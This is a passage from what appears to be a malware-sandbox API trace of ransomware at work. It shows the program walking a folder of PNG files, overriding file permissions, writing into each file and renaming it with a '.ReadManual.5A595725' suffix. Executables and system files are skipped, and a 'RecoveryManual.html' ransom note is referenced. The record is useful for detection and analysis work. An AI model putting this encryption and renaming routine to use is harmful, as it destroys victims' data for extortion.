lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" [0254.053] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png.ReadManual.5A595725" [0254.053] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png.ReadManual.5A595725") returned 90 [0254.053] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37472178503) returned 1 [0254.053] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png")) returned 0x20 [0254.053] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.053] GetLastError () returned 0x5 [0254.053] GetNamedSecurityInfoW () returned 0x0 [0254.054] SetNamedSecurityInfoW () returned 0x0 [0254.054] SetNamedSecurityInfoW () returned 0x0 [0254.055] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.055] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4570) returned 1 [0254.055] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11da, lpName=0x0) returned 0x1a0 [0254.055] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc4) returned 1 [0254.055] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.055] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.057] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.057] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11da) returned 0x2f0000 [0254.057] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.057] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37472594651) returned 1 [0254.057] CloseHandle (hObject=0x1a0) returned 1 [0254.057] SetSecurityInfo () returned 0x5 [0254.057] SetSecurityInfo () returned 0x5 [0254.057] LocalFree (hMem=0x674d38) returned 0x0 [0254.057] CloseHandle (hObject=0x184) returned 1 [0254.058] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0254.058] lstrcpyW (in: lpString1=0x6ab906, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0254.058] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0254.058] StrStrIW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.058] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.058] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.058] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.058] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.058] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.058] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.058] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.058] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.058] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.058] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.058] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.058] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.058] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.058] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.058] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" [0254.059] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725" [0254.059] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned 105 [0254.059] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37472734551) returned 1 [0254.059] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png")) returned 0x20 [0254.059] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.059] GetLastError () returned 0x5 [0254.059] GetNamedSecurityInfoW () returned 0x0 [0254.059] SetNamedSecurityInfoW () returned 0x0 [0254.059] SetNamedSecurityInfoW () returned 0x0 [0254.060] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.060] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5088) returned 1 [0254.060] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e0, lpName=0x0) returned 0x1a0 [0254.061] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe2) returned 1 [0254.061] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.061] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.063] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.063] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13e0) returned 0x2f0000 [0254.063] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.063] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37473195985) returned 1 [0254.063] CloseHandle (hObject=0x1a0) returned 1 [0254.063] SetSecurityInfo () returned 0x5 [0254.063] SetSecurityInfo () returned 0x5 [0254.063] LocalFree (hMem=0x674d38) returned 0x0 [0254.063] CloseHandle (hObject=0x184) returned 1 [0254.064] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0254.064] lstrcpyW (in: lpString1=0x6ab906, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0254.064] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0254.064] StrStrIW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.064] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.064] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.064] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.064] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.064] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.064] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.064] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.064] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.064] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.064] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.064] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.064] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.064] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.065] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.065] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" [0254.065] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725" [0254.065] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned 111 [0254.065] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37473343863) returned 1 [0254.065] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png")) returned 0x20 [0254.065] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.065] GetLastError () returned 0x5 [0254.065] GetNamedSecurityInfoW () returned 0x0 [0254.065] SetNamedSecurityInfoW () returned 0x0 [0254.065] SetNamedSecurityInfoW () returned 0x0 [0254.066] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.066] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3130) returned 1 [0254.066] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc3a, lpName=0x0) returned 0x1a0 [0254.066] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xee) returned 1 [0254.067] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.067] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.069] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.069] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc3a) returned 0x2f0000 [0254.069] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.069] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37473777512) returned 1 [0254.069] CloseHandle (hObject=0x1a0) returned 1 [0254.069] SetSecurityInfo () returned 0x5 [0254.069] SetSecurityInfo () returned 0x5 [0254.069] LocalFree (hMem=0x674d38) returned 0x0 [0254.069] CloseHandle (hObject=0x184) returned 1 [0254.069] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0254.069] lstrcpyW (in: lpString1=0x6ab906, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0254.069] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0254.069] StrStrIW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.069] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.070] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.070] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.070] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.070] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.070] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.070] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.070] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.070] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.070] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.070] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.070] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.070] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.070] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.070] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" [0254.070] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725" [0254.070] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned 106 [0254.070] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37473875018) returned 1 [0254.070] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png")) returned 0x20 [0254.070] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.070] GetLastError () returned 0x5 [0254.070] GetNamedSecurityInfoW () returned 0x0 [0254.071] SetNamedSecurityInfoW () returned 0x0 [0254.071] SetNamedSecurityInfoW () returned 0x0 [0254.072] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.072] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5025) returned 1 [0254.072] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a1, lpName=0x0) returned 0x1a0 [0254.072] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe4) returned 1 [0254.072] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.072] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.074] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.074] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a1) returned 0x2f0000 [0254.074] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.074] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37474299655) returned 1 [0254.074] CloseHandle (hObject=0x1a0) returned 1 [0254.074] SetSecurityInfo () returned 0x5 [0254.074] SetSecurityInfo () returned 0x5 [0254.074] LocalFree (hMem=0x674d38) returned 0x0 [0254.074] CloseHandle (hObject=0x184) returned 1 [0254.075] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0254.075] lstrcpyW (in: lpString1=0x6ab906, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0254.075] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0254.075] StrStrIW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.075] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.075] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.075] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.075] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.075] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.075] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.075] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.075] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.075] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.075] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.075] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.075] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.075] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.075] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.075] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" [0254.075] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725" [0254.075] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned 112 [0254.075] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37474403453) returned 1 [0254.075] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png")) returned 0x20 [0254.075] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.076] GetLastError () returned 0x5 [0254.076] GetNamedSecurityInfoW () returned 0x0 [0254.076] SetNamedSecurityInfoW () returned 0x0 [0254.076] SetNamedSecurityInfoW () returned 0x0 [0254.077] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.077] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3118) returned 1 [0254.077] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc2e, lpName=0x0) returned 0x1a0 [0254.077] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf0) returned 1 [0254.078] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.078] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.079] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, 